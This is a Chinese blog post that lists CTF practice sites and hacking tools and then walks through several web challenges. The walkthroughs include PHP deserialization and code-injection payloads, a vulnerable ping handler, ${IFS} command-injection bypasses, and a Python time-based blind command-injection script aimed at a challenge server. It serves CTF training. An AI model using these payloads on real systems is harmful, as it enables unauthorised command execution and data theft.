网络安全夺旗赛(CTF)技能汇总

Posted 铭记北宸

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了网络安全夺旗赛(CTF)技能汇总相关的知识,希望对你有一定的参考价值。

本文综合博主参赛准备经历,总结介绍了过程中了解的网络安全、夺旗赛(CTF)相关知识及资源,分为资料篇、工具篇、解题思路篇。

  • 资料篇

     
    CTF Wiki 对CTF整体介绍,各个方向的介绍,有例题,入门必备。

    CTF工具集合 集成了工具资源,方便下载。

        WeChall 全球信息安全挑战刷题网站集合站点,保罗万象,推荐其中几个挑战网站:

                Bugku CTF 综合各类挑战,上手难度低

                攻防世界 综合各类挑战,非最低难度

                BUUCTF 综合各类挑战

                Lord of SQLInjection:SQL注入类挑战,号称SQL注入之王。

                CryptoHack:加解密挑战及学习站点,难得的是循序渐进,教程亲民(小白),建议学习。

  • 工具篇
    • Kali Linux:预先集成大量黑客工具的Linux操作系统,有Kali用的好‘监狱’进的早的美谈,白客黑客一念之差。
    • BurpSuite:通过拦截请求,可以编辑、重发该请求,达到破解、探测等目的。
    • NMap:网络扫描,查找主机、服务端口、漏洞等
    • SQLMap:利用SQL漏洞获取数据库从库、表、字段、数据的全部信息
    • CyberChef:数据转码、加解密、格式转换等处理工具
    • Wireshark:网络抓包工具,全球开源网络安全工具top1美誉
    • Appscan:应用程序与网站安全测试工具
    • AWVS:应用程序与网站安全测试工具
    • 中国蚁剑AntSword:Shell注入工具,可以通过文件上传漏洞上传的“一句话木马”获取服务器路径及文件读写权限
    • 中国菜刀:同AntSword
    • 御剑:目录和端口扫描Shell注入
    • Cain:Windows下最强大的局域网攻击与解密工具
    • Ettercap:功能完备的跨平台的局域网渗透攻击工具
    • Hping3:强大的TCP/IP数据包生成工具,可用于防火墙测试和安全审计
    • php:必须掌握,Web题目多数是基于PHP的
    • javascript:必须掌握,Web题目会有包含
    • Phython:必须掌握,很多小工具会用到,临时写一些加解密的小程序也需要。Python语言写的一些工具:
      • DirSearch:服务器路径扫描,可以发现所有可访问的文件及路径,是信息搜集利器
      • GitHack:DirSearch搜索到.git文件夹,就可以通过GitHack将仓库下载到本地
      • SQLMap
      • NMap
    • 工具还有很多,可以到CTF工具集合网站下载,或者自行搜索最新版本。
  • 解题思路篇
    • Reverse逆向
    • PWN溢出

    • Web网页应用

    • Crypto加解密

    • Misc杂项

    • Mobile移动应用
      • 类逆向

网络内生安全试验场-CTF答题夺旗赛(第四季)web知识

##nani  文件包含和魔法函数 _WAKEUP() 的跳过

在url中直接尝试php为协议 php://filter 拿到use.php的源码

技术图片

 

 

 源码中 _wakeup()魔术方法将convent对象中的warn变量赋变为空值  // _WAKEUP()会在反序列化时触发,__wakeup()函数 该魔术方法在反序列化的时候自动调用,为反序列化生成的对象做一些初始化操作

所以当你覆盖warn变量时 warn同时也被赋为空 这里就需要跳过魔术方法

参考https://www.cnblogs.com/CubicZ/p/11938419.html

当反序列化字符串中,表示属性个数的值大于其真实值,则跳过__wakeup()执行。

技术图片

 

 

linnux目录一般再var里面

 

技术图片

 

 

直接访问txt就可拿到flag ,或者可以用file_get_contents,但是太麻烦,如果是不在这个目录的话就可以用file_get_contents

再者 ,由于这是linux服务器 ,直接 system(‘ls‘);  然后就能查看当前目录 然后看到这个txt 或者将ls 换成dir 

技术图片

 

 

##random    知识点伪随机数

参考 https://www.cnblogs.com/zaqzzz/p/9997855.html

payload

seed=12345&key=162946439&hello=file(%27flag.php%27)

或者hello=);print_r(file(‘./flag.php‘));//     特别注意后面又注释  闭合前面的括号后面加个注释最好    // 在php可以注释

 

 

##admin   这道题就不说了bugku里面的原题 php为协议和反序列化

 

 

###ping   命令执行漏洞 

参考到这篇文章 https://www.cnblogs.com/zcz1995/p/10296366.html  

strcmp 用数组绕过 

php为协议拿到源码

<?php
if(isset($_REQUEST[ ‘ip‘ ])) {
$target = trim($_REQUEST[ ‘ip‘ ]);
$substitutions = array(
‘&‘ => ‘‘,
‘;‘ => ‘‘,
‘|‘ => ‘‘,
‘-‘ => ‘‘,
‘$‘ => ‘‘,
‘(‘ => ‘‘,
‘)‘ => ‘‘,
‘`‘ => ‘‘,
‘||‘ => ‘‘,
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
$cmd = shell_exec( ‘ping -c 4 ‘ . $target );
echo $target;
echo "<pre>{$cmd}</pre>";
}

shell_exec( ‘ping -c 4 ‘ . $target );   //命令执行漏洞 但是这里没过滤全  %0a可以

技术图片

 

直接访问就行了

 

post1  命令执行与绕过

参考这篇好文章!https://blog.csdn.net/silence1_/article/details/96135760

另外  cat可以用cut代替 

cut用法  cut -c/-b  1-100  flag.txt                    //-c 按字符分隔  -b 按字节分隔  1-100 一道100列    另外 如果不写 1-100 写成 1 或者是 2 或者是3 那么将只显示 第1 或者是 第2 或者第3 列

直接构造payload为 a=cut${IFS}-c${IFS}1-${IFS}flag.txt      这里直接1- 表示1到最后  可以读取完

 

post2  命令注入的盲注 还要加上第一题的绕过

顺带提一下 盲注的语句这次是  a=`cut -c 1  flag.txt`;[ $a="str" ] && sleep 3  // 这个语句适合这道题 ,然而在实际中 ,cut -c n 是显示第n列 不只是一个字符 而是一列字符,所以脚本有待提升, 注意[]中的格式 

参考 https://blog.csdn.net/shuai0845/article/details/86532142

脚本

import requests
import string
import time
url=‘http://120.55.43.255:22712‘
str1=string.ascii_lowercase+string.ascii_uppercase+string.digits+‘{‘+‘}‘+‘_‘
print(str1)
count=0
flag=‘‘
sign=0
for i in range(1,50):
count+=1
payload=‘‘
payload+=‘a=`cut${IFS}-c${IFS}‘
payload+=str(count)
payload+=‘${IFS}flag.txt`;${IFS}[${IFS}$a${IFS}=${IFS}"‘
payload+=‘}‘
payload+=‘"${IFS}]${IFS}&&${IFS}sleep${IFS}3‘
data={‘cmd‘:payload}
a=time.time()
r=requests.post(url,data=data)
b=time.time()
if(b-a)>2:
print("find")
flaglen=count
print(count)
break
count=0
for i in range(flaglen):
count+=1
sign=0
for letter in str1:
payload=‘‘
payload+=‘a=`cut${IFS}-c${IFS}‘
payload+=str(count)
payload+=‘${IFS}flag.txt`;${IFS}[${IFS}$a${IFS}=${IFS}"‘
payload+=letter
payload+=‘"${IFS}]${IFS}&&${IFS}sleep${IFS}3‘
data={‘cmd‘:payload}
a=time.time()
r=requests.post(url,data=data)
b=time.time()
if(b-a)>2:
flag+=letter
print(flag)
break
print(flag)

最终跑出答案

 

 

 

以上是关于网络安全夺旗赛(CTF)技能汇总的主要内容,如果未能解决你的问题,请参考以下文章

CTF-PWN练习

CTF竞赛模式与训练平台

CTF竞赛模式与训练平台

CTF入门——密码学基础

(2020上半年第68天(CTF夺旗-网鼎杯WEB真题))小迪网络安全笔记

(2020上半年第68天(CTF夺旗-网鼎杯WEB真题))小迪网络安全笔记